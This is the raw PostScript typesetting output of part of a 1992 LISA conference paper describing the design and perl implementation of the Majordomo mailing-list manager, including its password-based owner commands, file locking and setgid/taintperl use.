X(shown)s +2012 X(in)s +600 X +1491 Y(Figure)s +814 X(1)s +887 X(from)s +1056 X(any)s +1192 X(user)s +1303 X(.)s +1381 X(In)s +1475 X(addition,)s +1750 X(Majordomo)s +600 X +1564 Y(accepts)s +827 X(the)s +938 X(password)s +1189 X(-protected)s +1490 X(commands)s +1809 X(shown)s +2012 X(in)s +600 X +1637 Y(Figure)s +797 X(2,)s +870 X(which)s +1056 X(are)s +1161 X(for)s +1261 X(use)s +1373 X(by)s +1462 X(list)s +1568 X(owners)s +1782 X(to)s +1856 X(manage)s +600 X +1710 Y(their)s +789 X(list)s +872 X(.)s +977 X(Authentication)s +1441 X(is)s +1552 X(based)s +1771 X(solely)s +1998 X(on)s +600 X +1783 Y(knowledge)s +923 X(of)s +1009 X(the)s +1122 X(password)s +1404 X(for)s +1512 X(the)s +1624 X(list)s +1737 X(in)s +1819 X(question;)s +600 X +1856 Y(no)s +693 X(attempt)s +922 X(is)s +995 X(made)s +1168 X(to)s +1248 X(check)s +1432 X(that)s +1561 X(the)s +1671 X(address)s +1899 X(of)s +1982 X(the)s +600 X +1929 Y(person)s +821 X(issuing)s +1054 X(the)s +1180 X(command)s +1487 X(is)s +1576 X(the)s +1702 X(same)s +1883 X(as)s +1982 X(the)s +600 X +2002 Y(address)s +826 X(of)s +907 X(the)s +1015 X(list)s +1124 X(owner)s +1290 X(.)s +1356 X(As)s +1457 X(mentioned)s +1766 X(earlier,)s +1982 X(the)s +600 X +2075 Y(goal)s +755 X(of)s +849 X(the)s +970 X(minimal)s +1233 X(security)s +1484 X(in)s +1575 X(Majordomo)s +1928 X(is)s +2012 X(to)s +600 X +2148 Y(prevent)s +822 X(anti)s +923 X(-social)s +1124 X(people)s +1324 X(from)s +1476 X(making)s +1699 X(a)s +1752 X(nuisance)s +2009 X(of)s +600 X +2221 Y(themselves;)s +948 X(I)s +1001 X(don't)s +1172 X(make)s +1348 X(any)s +1474 X(claims)s +1680 X(that)s +1811 X(the)s +1923 X(secu-)s +600 X +2294 Y(rity)s +715 X(is)s +782 X(particularly)s +1113 X(strong)s +1279 X(.)s +600 X +2388 Y +744 X(A)s +818 X(side)s +952 X(bene\256t)s +1160 X(of)s +1241 X(authentication)s +1648 X(by)s +1741 X(password)s +2019 X(is)s +600 X +2461 Y(that)s +738 X(the)s +857 X(owner)s +1060 X(can)s +1190 X(manage)s +1434 X(their)s +1593 X(list)s +1712 X(from)s +1877 X(any)s +2009 X(of)s +600 X +2534 Y(their)s +760 X(accounts;)s +1050 X(they)s +1202 X(don't)s +1379 X(have)s +1542 X(to)s +1631 X(always)s +1855 X(use)s +1982 X(the)s +600 X +2607 Y(same)s +779 X(account)s +1027 X(on)s +1133 X(a)s +1203 X(certain)s +1426 X(machine,)s +1710 X(for)s +1827 X(instance)s +2047 X(.)s +600 X +2680 Y(The)s +728 X("owner")s +972 X(of)s +1052 X(a)s +1107 X(given)s +1280 X(list)s +1388 X(could)s +1561 X(in)s +1638 X(fact)s +1764 X(be)s +1852 X(an)s +1940 X(alias)s +600 X +2753 Y(for)s +719 X(multiple)s +985 X(people,)s +1221 X(any)s +1358 X(of)s +1454 X(whom)s +1661 X(could)s +1850 X(approve)s +600 X +2826 Y(requests)s +847 X(for)s +952 X(the)s +1062 X(list)s +1145 X(.)s +1212 X(Because)s +1463 X(the)s +1573 X(owner)s +1767 X(of)s +1850 X(a)s +1908 X(list)s +2019 X(is)s +600 X +2899 Y(always)s +809 X(noti\256ed)s +1036 X(of)s +1114 X(successful)s +1411 X("subscribe")s +1739 X(and)s +1857 X("unsub-)s +600 X +2972 Y(scribe")s +828 X(requests)s +1088 X(concerning)s +1425 X(their)s +1589 X(list,)s +1731 X(even)s +1899 X(if)s +1982 X(the)s +600 X +3045 Y(owner)s +800 X(initiated)s +1055 X(those)s +1230 X(requests)s +1483 X(on)s +1583 X(behalf)s +1784 X(of)s +1873 X(a)s +1936 X(user,)s +600 X +3118 Y(multiple)s +855 X(owners)s +1078 X(would)s +1275 X(automatically)s +1672 X(be)s +1767 X(kept)s +1914 X(up)s +2012 X(to)s +600 X +3191 Y(date)s +734 X(on)s +822 X(each)s +967 X(other's)s +1174 X(actions)s +1386 X(concerning)s +1704 X(the)s +1808 X(list)s +1891 X(.)s +600 X +3984 Y +3120 0 l +600 X +4080 Y +622 X +f.B 10 Z(Command)s +2258 X(Description)s +600 X +4110 Y +622 X +f.R 10 Z +3076 0 l +600 X +4174 Y +2258 X(Approve)s +2538 X(a)s +2616 X(non)s +2715 X(-routine)s +2975 X(subscribe)s +3276 X(or)s +3380 X(unsubscribe)s +600 X +4254 Y +2258 X(request)s +2473 X(concerning)s +2791 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(list)s +600 X +4174 Y +622 X +f.R 10 Z(approve)s +858 X +f.I 10 Z(password)s +1134 X +f.R 10 Z({subscribe)s +1440 X(|)s +1475 X(unsubscribe})s +1847 X +f.I 10 Z(list)s +1952 X(address)s +600 X +4347 Y +2258 X +f.R 10 Z(Provide)s +2490 X(a)s +2545 X(new)s +2681 X("info")s +2867 X(message)s +3119 X(for)s +3221 X +f.I 10 Z(list)s +f.R 10 Z(,)s +3346 X(to)s +3423 X(be)s +3512 X(sent)s +3646 X(in)s +600 X +4427 Y +2258 X(response)s +2513 X(to)s +2587 X("info")s +2770 X(and)s +2888 X("subscribe")s +3216 X(requests)s +600 X +4347 Y +622 X(newinfo)s +862 X +f.I 10 Z(list)s +967 X(password)s +600 X +4520 Y +2258 X +f.R 10 Z(Change)s +2483 X(the)s +2587 X(password)s +2860 X(for)s +2959 X +f.I 10 Z(list)s +600 X +622 X +f.R 10 Z(passwd)s +840 X +f.I 10 Z(list)s +945 X(old)s +1030 X(-password)s +1328 X(new)s +1435 X(-password)s +600 X +4685 Y +1547 X +f.B 10 Z(Figure)s +1759 X(2)s +f.R 10 Z(:)s +1855 X(Majordomo)s +2191 X(list)s +2296 X(owner)s +2484 X(commands)s +600 X +3285 Y +744 X(Note)s +915 X(that)s +1057 X(the)s +1180 X("approve")s +1490 X(command)s +1795 X(is)s +1882 X(simply)s +600 X +3358 Y("approve)s +878 X +f.I 10 Z(password)s +f.R 10 Z(")s +1196 X(prepended)s +1510 X(to)s +1599 X(a)s +1666 X("subscribe")s +2009 X(or)s +600 X +3431 Y("unsubscribe")s +1026 X(request)s +1219 X(.)s +1312 X(This)s +1485 X(simpli\256es)s +1801 X(command)s +600 X +3504 Y(processing;)s +941 X(in)s +1030 X(handling)s +1299 X(an)s +1398 X("approve")s +1702 X(message,)s +1982 X(the)s +600 X +3577 Y(command)s +910 X(processor)s +1212 X(checks)s +1441 X(that)s +1590 X(the)s +1720 X(password)s +2019 X(is)s +600 X +3650 Y(correct)s +818 X(for)s +927 X(the)s +1041 X(list)s +1155 X(being)s +1334 X(acted)s +1507 X(on,)s +1621 X(then)s +1767 X(recursively)s +600 X +3723 Y(processes)s +882 X(the)s +990 X("subscribe")s +1322 X(or)s +1403 X("unsubscribe")s +1801 X(command)s +600 X +3796 Y(with)s +743 X(a)s +797 X(\257ag)s +921 X(set)s +1020 X(that)s +1145 X(tells)s +1282 X(the)s +1387 X(processor)s +1665 X(that)s +1789 X(the)s +1894 X(opera-)s +600 X +3869 Y(tion)s +740 X(is)s +821 X(pre)s +906 X(-approved)s +1212 X(and)s +1345 X(should)s +1559 X(simply)s +1778 X(be)s +1878 X(carried)s +600 X +3942 Y(out,)s +737 X(even)s +898 X(if)s +974 X(it)s +1047 X(is)s +1126 X(a)s +1190 X(non)s +1289 X(-routine)s +1534 X(request)s +1727 X(.)s +1800 X(The)s +1938 X(right)s +2256 X +448 Y(way)s +2389 X(to)s +2463 X(think)s +2622 X(about)s +2793 X("approve",)s +3101 X(by)s +3190 X(the)s +3295 X(way,)s +3446 X(is)s +3514 X(that)s +3638 X(the)s +2256 X +521 Y(list)s +2363 X(owner)s +2553 X(is)s +2622 X(telling)s +2817 X(Majordomo)s +3154 X("I)s +3226 X(approve)s +3463 X(this)s +3583 X(com-)s +2256 X +594 Y(mand;)s +2455 X(just)s +2584 X(do)s +2682 X(it!",)s +2818 X(not)s +2936 X("I)s +3018 X(approve)s +3265 X(this)s +3395 X(request)s +3621 X(you)s +2256 X +667 Y(sent)s +2395 X(me)s +2507 X(earlier")s +2706 X(.)s +2775 X(Majordomo)s +3119 X(doesn't)s +3345 X(keep)s +3501 X(track)s +3665 X(of)s +2256 X +740 Y(outstanding)s +2602 X(requests;)s +2875 X(when)s +3054 X(an)s +3153 X("approve")s +3457 X(command)s +2256 X +813 Y(comes)s +2471 X(in)s +2567 X(from)s +2740 X(a)s +2814 X(list)s +2941 X(owner,)s +3167 X(Majordomo)s +3524 X(doesn't)s +2256 X +886 Y(check)s +2440 X(to)s +2520 X(see)s +2634 X(that)s +2764 X(the)s +2875 X(owner)s +3070 X(is)s +3144 X(approving)s +3442 X(something)s +2256 X +959 Y(Majordomo)s +2613 X(had)s +2752 X(previously)s +3075 X(requested,)s +3390 X(or)s +3487 X(anything)s +2256 X +1032 Y(like)s +2397 X(that)s +2498 X(.)s +2577 X(A)s +2665 X(list)s +2788 X(owner)s +2994 X(can)s +3127 X(thus)s +3278 X(issue)s +3452 X("approve")s +2256 X +1105 Y(commands)s +2589 X(on)s +2699 X(behalf)s +2910 X(of)s +3009 X(a)s +3083 X(user)s +3238 X(\(to)s +3356 X(drop)s +3521 X(a)s +3594 X(dead)s +2256 X +1178 Y(account)s +2488 X(from)s +2641 X(the)s +2747 X(list,)s +2872 X(for)s +2974 X(instance\))s +3241 X(without)s +3470 X(any)s +3591 X(prior)s +2256 X +1251 Y(action)s +2442 X(by)s +2530 X(the)s +2634 X(user)s +2745 X(.)s +2256 X +1345 Y +2400 X(An)s +2534 X(important)s +2848 X(distinction)s +3185 X(that)s +3340 X(many)s +3542 X(people)s +2256 X +1418 Y(misunderstand)s +2672 X(is)s +2744 X(the)s +2853 X(difference)s +3151 X(between)s +3401 X(managing)s +3690 X(a)s +2256 X +1491 Y(mailing)s +2493 X(list,)s +2625 X(and)s +2753 X(managing)s +3048 X(the)s +3162 X(traf\256c)s +3354 X(on)s +3452 X(a)s +3515 X(mailing)s +2256 X +1564 Y(list)s +2339 X(.)s +2405 X(Managing)s +2701 X(a)s +2757 X(mailing)s +2988 X(list)s +3097 X(\(which)s +3308 X(is)s +3379 X(what)s +3535 X(Major-)s +2256 X +1637 Y(domo)s +2435 X(does\))s +2608 X(means)s +2808 X(exactly)s +3031 X(that:)s +3202 X(managing)s +3494 X(a)s +3553 X(list)s +3665 X(of)s +2256 X +1710 Y(names)s +2427 X(.)s +2518 X(Managing)s +2839 X(the)s +2972 X(traf\256c)s +3183 X(on)s +3300 X(a)s +3381 X(mailing)s +3637 X(list)s +2256 X +1783 Y(\(which)s +2464 X(is)s +2533 X(commonly)s +2842 X(called)s +3027 X("moderating")s +3409 X(the)s +3515 X(mailing)s +2256 X +1856 Y(list\))s +2388 X(means)s +2586 X(either)s +2766 X(automatically)s +3159 X(or)s +3241 X(manually)s +3516 X(review-)s +2256 X +1929 Y(ing)s +2368 X(each)s +2518 X(message)s +2772 X(that)s +2900 X(is)s +2972 X(submitted)s +3263 X(for)s +3367 X(the)s +3477 X(list,)s +3605 X(then)s +2256 X +2002 Y(either)s +2438 X(forwarding)s +2762 X(it)s +2829 X(to)s +2910 X(the)s +3021 X(list)s +3133 X(\(perhaps)s +3391 X(after)s +3542 X(header)s +2256 X +2075 Y(or)s +2346 X(content)s +2578 X(editing,)s +2816 X(depending)s +3128 X(on)s +3229 X(the)s +3346 X(nature)s +3548 X(of)s +3638 X(the)s +2256 X +2148 Y(mailing)s +2490 X(list\))s +2624 X(or)s +2708 X(discarding)s +3015 X(it)s +3053 X(.)s +3120 X(The)s +3252 X(changes)s +3495 X(made)s +3668 X(to)s +2256 X +2221 Y(messages)s +2577 X(before)s +2815 X(forwarding)s +3178 X(them)s +3380 X(to)s +3500 X(such)s +3690 X(a)s +2256 X +2294 Y(moderated)s +2564 X(mailing)s +2795 X(list)s +2903 X(can)s +3021 X(be)s +3109 X(as)s +3190 X(simple)s +3394 X(as)s +3475 X(rewriting)s +2256 X +2367 Y(the)s +2368 X(headers)s +2603 X(of)s +2689 X(the)s +2802 X(message)s +3060 X(to)s +3143 X(arrange)s +3374 X(for)s +3482 X(errors)s +3668 X(to)s +2256 X +2440 Y(come)s +2427 X(back)s +2579 X(to)s +2657 X(the)s +2765 X(list)s +2874 X(owner,)s +3083 X(or)s +3164 X(as)s +3246 X(complex)s +3502 X(as)s +3583 X(com-)s +2256 X +2513 Y(pletely)s +2461 X(rewriting)s +2728 X(the)s +2832 X(body)s +2986 X(of)s +3064 X(the)s +3169 X(message)s +3419 X(to)s +3494 X(preserve)s +2256 X +2586 Y(the)s +2374 X(anonymity)s +2695 X(of)s +2786 X(the)s +2904 X(originator)s +3167 X(.)s +3241 X(Editorial)s +3511 X(policies)s +2256 X +2659 Y(\(such)s +2435 X(as)s +2526 X(only)s +2679 X(forwarding)s +3009 X(messages)s +3297 X(to)s +3384 X(the)s +3501 X(list)s +3619 X(that)s +2256 X +2732 Y(were)s +2409 X(sent)s +2540 X(by)s +2629 X(a)s +2682 X(member)s +2924 X(of)s +3002 X(the)s +3107 X(list,)s +3230 X(and)s +3349 X(refusing)s +3590 X(mes-)s +2256 X +2805 Y(sages)s +2453 X(from)s +2634 X("outsiders"\))s +3003 X(might)s +3211 X(also)s +3371 X(be)s +3487 X(enforced)s +2256 X +2878 Y(automatically)s +2647 X(or)s +2727 X(manually)s +2976 X(.)s +3040 X(All)s +3151 X(of)s +3231 X(this)s +3352 X(is)s +3421 X(outside)s +3638 X(the)s +2256 X +2951 Y(scope)s +2439 X(of)s +2525 X(Majordomo;)s +2889 X(all)s +2988 X(Majordomo)s +3333 X(does)s +3487 X(is)s +3564 X(main-)s +2256 X +3024 Y(tain)s +2391 X(the)s +2507 X(\256le)s +2627 X(containing)s +2943 X(the)s +3059 X(list)s +3176 X(of)s +3264 X(email)s +3447 X(addresses)s +3703 X(.)s +2256 X +3097 Y(How)s +2413 X(that)s +2542 X(list)s +2653 X(is)s +2726 X(used)s +2876 X(\(whether)s +3141 X(it)s +3207 X(is)s +3280 X(simply)s +3490 X(included)s +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +2256 X +3170 Y(as)s +2336 X(an)s +2422 X(alias)s +2569 X(in)s +2644 X(the)s +2749 X +f.CW 10 Z(/etc/aliases)s +3252 X +f.R 10 Z(\256le,)s +3378 X(or)s +3456 X(used)s +3601 X(by)s +3690 X(a)s +2256 X +3243 Y(forwarding)s +2581 X(that)s +2713 X(enforces)s +2970 X(a)s +3031 X("no)s +3155 X(messages)s +3439 X(from)s +3599 X(non)s +3698 X(-)s +2256 X +3316 Y(members)s +2526 X(policy")s +2745 X(as)s +2825 X(described)s +3105 X(above,)s +3305 X(or)s +3384 X(whatever\))s +3675 X(is)s +2256 X +3389 Y(not)s +2363 X(something)s +2663 X(for)s +2762 X(Majordomo)s +3098 X(to)s +3172 X(determine)s +3440 X(.)s +2256 X +3516 Y +2594 X +f.B 10 Z(Implementing)s +3018 X(the)s +3129 X(Proposal)s +2256 X +3625 Y +2400 X +f.R 10 Z(Once)s +2564 X(I)s +2610 X(had)s +2730 X(more)s +2891 X(or)s +2970 X(less)s +3095 X(decided)s +3327 X(what)s +3481 X(I)s +3527 X(wanted)s +2256 X +3698 Y(to)s +2334 X(implement)s +2647 X(and)s +2769 X(how,)s +2926 X(I)s +2974 X(sat)s +3074 X(down)s +3246 X(to)s +3323 X(the)s +3430 X(nitty)s +3553 X(-gritty)s +2256 X +3771 Y(details)s +2464 X(of)s +2551 X(getting)s +2769 X(it)s +2839 X(done)s +2968 X(.)s +3039 X(It)s +3112 X(took)s +3263 X(about)s +3444 X(2)s +3510 X(days)s +3665 X(of)s +2256 X +3844 Y(concentrated)s +2626 X(work)s +2790 X(to)s +2870 X(write)s +3036 X(the)s +3145 X(core)s +3287 X(of)s +3369 X(the)s +3478 X(program,)s +2256 X +3917 Y(followed)s +2519 X(by)s +2611 X(a)s +2667 X(test)s +2787 X(installation)s +3112 X(and)s +3234 X(another)s +3460 X(couple)s +3665 X(of)s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(137)s +5280 Y +pagebot + +%%Page: 138 4 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +215 Y(Majordomo:)s +744 X(How)s +899 X(I)s +947 X(Manage)s +1198 X(17)s +1286 X(Mailing)s +1531 X(Lists)s +1690 X(.)s +1707 X(.)s +1724 X(.)s +3199 X(Chapman)s +360 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(days)s +507 X(of)s +587 X(on)s +653 X(-again,)s +862 X(off)s +939 X(-again)s +1131 X(testing)s +1334 X(and)s +1454 X(enhancement)s +1807 X(.)s +360 X +521 Y(All)s +474 X(told,)s +623 X(I)s +673 X(spent)s +842 X(about)s +1019 X(20)s +1114 X(hours)s +1290 X(on)s +1385 X(the)s +1496 X(project,)s +1728 X(and)s +360 X +594 Y(ended)s +544 X(up)s +635 X(with)s +779 X(about)s +952 X(than)s +1092 X(600)s +1215 X(lines)s +1366 X(of)s +1445 X(perl)s +1573 X(code)s +1723 X(that)s +360 X +667 Y(implemented)s +742 X(almost)s +953 X(all)s +1053 X(the)s +1167 X(features)s +1411 X(listed)s +1589 X(above)s +1780 X(\(I)s +360 X +740 Y(didn't)s +549 X(implement)s +866 X("which")s +1113 X(and)s +1239 X("unsubscribe")s +1641 X(until)s +1794 X(a)s +360 X +813 Y(couple)s +573 X(of)s +663 X(weeks)s +865 X(later\))s +1007 X(.)s +1081 X(This)s +1235 X(was)s +1374 X(the)s +1491 X(version)s +1723 X(that)s +360 X +886 Y(was)s +498 X(initially)s +742 X(installed)s +1003 X(on)s +1102 X(USENIX)s +1346 X(.ORG)s +1536 X(to)s +1621 X(run)s +1742 X(the)s +360 X +959 Y(SAGE)s +571 X(mailing)s +813 X(lists)s +959 X(in)s +1049 X(late)s +1185 X(June,)s +1362 X(1992)s +1494 X(.)s +1571 X(Over)s +1742 X(the)s +360 X +1032 Y(next)s +500 X(couple)s +703 X(of)s +782 X(weeks,)s +990 X(I)s +1036 X(spent)s +1201 X(another)s +1425 X(20)s +1515 X(or)s +1594 X(so)s +1677 X(hours)s +360 X +1105 Y(implementing)s +755 X(the)s +861 X(remaining)s +1156 X(commands,)s +1486 X(\256xing)s +1665 X(minor)s +360 X +1178 Y(bugs,)s +535 X(and)s +664 X(generally)s +946 X(cleaning)s +1206 X(up)s +1305 X(the)s +1420 X(program)s +1645 X(.)s +1717 X(I've)s +360 X +1251 Y(continued)s +655 X(to)s +739 X(make)s +917 X(minor)s +1109 X(enhancements)s +1521 X(since)s +1692 X(then)s +1807 X(.)s +360 X +1324 Y(Today,)s +573 X(the)s +680 X(program)s +930 X(stands)s +1122 X(at)s +1196 X(815)s +1320 X(lines)s +1472 X(of)s +1552 X(perl)s +1681 X(code,)s +360 X +1397 Y(not)s +467 X(including)s +741 X(libraries)s +961 X(.)s +360 X +1491 Y +504 X(While)s +710 X(writing)s +945 X(Majordomo,)s +1318 X(I)s +1383 X(made)s +1571 X(extensive)s +360 X +1564 Y(use)s +477 X(of)s +559 X(other)s +723 X(people's)s +976 X(work)s +1139 X(that)s +1267 X(had)s +1390 X(been)s +1543 X(previously)s +360 X +1637 Y(released)s +617 X(on)s +720 X(the)s +839 X(net,)s +976 X(including)s +1266 X(software)s +1534 X(to)s +1624 X(process)s +360 X +1710 Y(mail)s +507 X(headers)s +738 X(and)s +860 X(perform)s +1100 X(\256le)s +1212 X(locking)s +1412 X(.)s +1477 X(From)s +1647 X(one)s +1769 X(of)s +360 X +1783 Y(the)s +474 X(perl)s +611 X(archives)s +867 X(on)s +966 X(the)s +1081 X(Internet,)s +1339 X(I)s +1394 X(obtained)s +1657 X(a)s +1720 X(perl)s +360 X +1856 Y(package)s +605 X(called)s +792 X("mailstuff)s +1061 X(.pl")s +1183 X(\(written)s +1421 X(by)s +1513 X(Gene)s +1680 X(Spaf-)s +360 X +1929 Y(ford\))s +527 X(which)s +725 X(parses)s +927 X(RFC822)s +1186 X(mail)s +1341 X(headers)s +1580 X(into)s +1720 X(perl)s +360 X +2002 Y(associative)s +692 X(arrays)s +892 X(for)s +1006 X(easy)s +1162 X(processing;)s +1503 X(with)s +1658 X(a)s +1724 X(few)s +360 X +2075 Y(minor)s +555 X(modi\256cations,)s +972 X(it)s +1046 X(was)s +1186 X(just)s +1320 X(what)s +1487 X(I)s +1546 X(needed)s +1772 X(to)s +360 X +2148 Y(handle)s +580 X(all)s +690 X(the)s +814 X(mail)s +976 X(header)s +1195 X(processing)s +1521 X(for)s +1639 X(Major-)s +360 X +2221 Y(domo)s +511 X(.)s +360 X +4053 Y +3120 0 l +360 X +4141 Y +408 X +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 10 Z($whereami)s +808 X(=)s +888 X("GreatCircle)s +1368 X(.COM";)s +360 X +4221 Y +408 X($whoami)s +728 X(=)s +808 X("Majordomo@$whe)s +1408 X(reami";)s +360 X +4301 Y +408 X($whoami_owner)s +968 X(=)s +1048 X("Majordomo)s +1448 X(-Owner@$wheream)s +2048 X(i";)s +360 X +4381 Y +408 X($homedir)s +768 X(=)s +848 X("/usr/local/maj)s +1448 X(ordomo";)s +360 X +4461 Y +408 X($listdir)s +768 X(=)s +848 X("$homedir/Lists)s +1448 X(";)s +360 X +4541 Y +408 X($log)s +608 X(=)s +688 X("$homedir/Log";)s +360 X +4685 Y +1260 X +f.B 10 Z(Figure)s +1472 X(3)s +f.R 10 Z(:)s +1568 X(Sample)s +1791 X +f.CW 10 Z(/etc/majordomo)s +2351 X(.cf)s +2493 X +f.R 10 Z(\256le)s +360 X +2315 Y +504 X(I)s +563 X(needed)s +789 X(a)s +857 X(safe)s +1003 X(way)s +1152 X(for)s +1267 X(Majordomo)s +1619 X(to)s +1709 X(lock)s +360 X +2388 Y(\256les)s +498 X(while)s +673 X(editing)s +885 X(them)s +1045 X(\(adding)s +1274 X(or)s +1355 X(deleting)s +1596 X(users)s +1758 X(on)s +360 X +2461 Y(a)s +419 X(mailing)s +653 X(list,)s +782 X(or)s +866 X(changing)s +1139 X(the)s +1250 X("info")s +1441 X(\256le)s +1557 X(for)s +1664 X(a)s +1724 X(list,)s +360 X +2534 Y(for)s +505 X(instance\),)s +832 X(to)s +952 X(prevent)s +1219 X(multiple)s +1510 X(Majordomo)s +360 X +2607 Y(processes)s +645 X(from)s +803 X(tripping)s +1043 X(each)s +1195 X(other)s +1361 X(up)s +1427 X(.)s +1495 X(I)s +1546 X(was)s +1679 X(fami-)s +360 X +2680 Y(liar)s +475 X(with)s +619 X(Erik)s +759 X(Fair's)s +940 X("shlock")s +1192 X(program,)s +1458 X(which)s +1645 X(is)s +1714 X(pro-)s +360 X +2753 Y(vided)s +549 X(in)s +642 X(the)s +765 X(NNTP)s +980 X(distribution)s +1329 X(as)s +1426 X(a)s +1497 X(\256le)s +1624 X(locking)s +360 X +2826 Y(mechanism)s +708 X(for)s +828 X(use)s +960 X(in)s +1055 X(shell)s +1225 X(scripts,)s +1460 X(and)s +1599 X(knew)s +1786 X(it)s +360 X +2899 Y(would)s +552 X(provide)s +781 X(the)s +890 X(kind)s +1035 X(of)s +1117 X(locking)s +1344 X(I)s +1393 X(wanted;)s +1632 X(porting)s +360 X +2972 Y(the)s +466 X(code)s +616 X(from)s +769 X(a)s +823 X(stand)s +964 X(-alone)s +1155 X(C)s +1223 X(program)s +1472 X(to)s +1548 X(a)s +1602 X(150)s +1701 X(-line)s +360 X +3045 Y(perl)s +504 X(package)s +763 X(was)s +907 X(a)s +977 X(relatively)s +1271 X(simple)s +1490 X(matter)s +1662 X(.)s +1720 X(The)s +360 X +3118 Y(biggest)s +584 X(problem)s +837 X(I)s +890 X(encountered)s +1247 X(was)s +1381 X(that)s +1512 X(the)s +1624 X(C)s +1698 X(code)s +360 X +3191 Y(used)s +514 X("goto")s +718 X(to)s +803 X(break)s +984 X(out)s +1102 X(of)s +1190 X(nested)s +1394 X(command)s +1690 X(logic)s +360 X +3264 Y(when)s +529 X(exceptions)s +840 X(occurred;)s +1117 X(unlike)s +1309 X(some,)s +1492 X(I)s +1539 X(don't)s +1703 X(dog-)s +360 X +3337 Y(maticly)s +597 X(object)s +796 X(to)s +883 X("goto")s +1090 X(on)s +1191 X(general)s +1423 X(principles,)s +1739 X(but)s +360 X +3410 Y(this)s +481 X(particular)s +762 X(usage)s +938 X(of)s +1017 X("goto")s +1213 X(simply)s +1419 X(isn't)s +1562 X(supported)s +360 X +3483 Y(in)s +434 X(perl)s +538 X(.)s +360 X +3577 Y +504 X(Other)s +701 X(complications)s +1122 X(included)s +1397 X(addressing)s +1728 X(and)s +360 X +3650 Y(appropriate)s +689 X(case)s +830 X(sensitivity)s +1106 X(.)s +1170 X(It)s +1236 X(was)s +1365 X(slightly)s +1591 X(tricky)s +1772 X(to)s +360 X +3723 Y(get)s +475 X(all)s +576 X(the)s +691 X("To:")s +871 X(and)s +1000 X("From:")s +1250 X(addresses)s +1539 X(correct)s +1758 X(on)s +360 X +3796 Y(mail)s +523 X(generated)s +826 X(by)s +934 X(Majordomo,)s +1307 X(so)s +1408 X(that)s +1551 X(replies)s +1772 X(to)s +360 X +3869 Y(commands)s +688 X(and)s +823 X(requests)s +1081 X(for)s +1197 X(approval)s +1470 X(from)s +1639 X(Major-)s +360 X +3942 Y(domo)s +539 X(went)s +697 X(to)s +777 X(the)s +887 X(right)s +1041 X(place,)s +1228 X(and)s +1351 X(could)s +1526 X(themselves)s +360 X +4015 Y(be)s +457 X(replied)s +677 X(to)s +763 X(with)s +916 X(appropriate)s +1254 X(results)s +1429 X(.)s +1502 X(It)s +1577 X(was)s +1716 X(also)s +2016 X +448 Y(tricky)s +2195 X(to)s +2270 X(get)s +2375 X(certain)s +2581 X(things)s +2767 X(to)s +2841 X(be)s +2926 X(case)s +3064 X(sensitive)s +3321 X(\(pass-)s +2016 X +521 Y(words,)s +2234 X(for)s +2350 X(example\),)s +2655 X(and)s +2790 X(other)s +2966 X(things)s +3169 X(to)s +3261 X(be)s +3364 X(case)s +2016 X +594 Y(insensitive)s +2330 X(\(email)s +2529 X(addresses,)s +2829 X(mailing)s +3061 X(list)s +3170 X(names,)s +3384 X(and)s +2016 X +667 Y(commands,)s +2348 X(for)s +2451 X(instance\);)s +2738 X(further,)s +2962 X(some)s +3129 X(case)s +3272 X(insensi-)s +2016 X +740 Y(tive)s +2150 X(items)s +2329 X(\(such)s +2506 X(as)s +2595 X(mailing)s +2833 X(list)s +2949 X(names\))s +3175 X(need)s +3333 X(to)s +3417 X(be)s +2016 X +813 Y(smashed)s +2268 X(to)s +2342 X(lower)s +2517 X(case)s +2656 X(before)s +2849 X(use,)s +2978 X(while)s +3150 X(others)s +3336 X(\(such)s +2016 X +886 Y(as)s +2105 X(email)s +2288 X(addresses\))s +2599 X(need)s +2758 X(to)s +2843 X(be)s +2938 X(preserved)s +3229 X(in)s +3313 X(mixed)s +2016 X +959 Y(case)s +2177 X(and)s +2318 X(merely)s +2549 X(compared)s +2857 X(in)s +2955 X(a)s +3031 X(case)s +3193 X(insensitive)s +2016 X +1032 Y(manner)s +2216 X(.)s +2016 X +1126 Y +2160 X(Because)s +2408 X(it)s +2472 X(needs)s +2650 X(to)s +2728 X(edit)s +2855 X(\256les)s +2993 X(\(the)s +3123 X(mailing)s +3354 X(lists,)s +2016 X +1199 Y(the)s +2124 X("info")s +2311 X(\256les)s +2449 X(for)s +2552 X(each)s +2701 X(list,)s +2827 X(and)s +2948 X(so)s +3032 X(forth\),)s +3225 X(I)s +3272 X(decided)s +2016 X +1272 Y(that)s +2144 X(Majordomo)s +2485 X(needed)s +2701 X(to)s +2780 X(run)s +2895 X(setgid)s +3082 X(to)s +3161 X(a)s +3219 X(specially)s +3458 X(-)s +2016 X +1345 Y(created)s +2236 X(group)s +2416 X(which)s +2605 X(would)s +2796 X(have)s +2947 X(appropriate)s +3276 X(permis-)s +2016 X +1418 Y(sions)s +2181 X(on)s +2275 X(those)s +2445 X(\256les)s +2557 X(.)s +2625 X(Perl)s +2762 X(includes)s +3014 X(a)s +3073 X(nifty)s +3228 X(data\257ow)s +3458 X(-)s +2016 X +1491 Y(tracing)s +2227 X(feature)s +2438 X(\(commonly)s +2770 X(known)s +2975 X(as)s +3055 X("taintperl"\))s +3379 X(that)s +2016 X +1564 Y(is)s +2092 X(automatically)s +2489 X(activated)s +2763 X(when)s +2938 X(a)s +2999 X(perl)s +3134 X(script)s +3315 X(is)s +3392 X(run)s +2016 X +1637 Y(setuid)s +2205 X(or)s +2289 X(setgid;)s +2497 X(this)s +2623 X(feature)s +2838 X(attempts)s +3095 X(to)s +3176 X(ensure)s +3379 X(that)s +2016 X +1710 Y(the)s +2121 X(script)s +2293 X(doesn't)s +2512 X(do)s +2601 X(anything)s +2858 X("dangerous")s +3185 X(.)s +3248 X(The)s +3376 X(perl)s +2016 X +1783 Y(on)s +2082 X(-line)s +2227 X(manual)s +2446 X(page)s +2594 X(describes)s +2865 X(this)s +2984 X(feature:)s +2016 X +1856 Y +2112 X(When)s +2315 X(perl)s +2463 X(is)s +2552 X(executing)s +2856 X(a)s 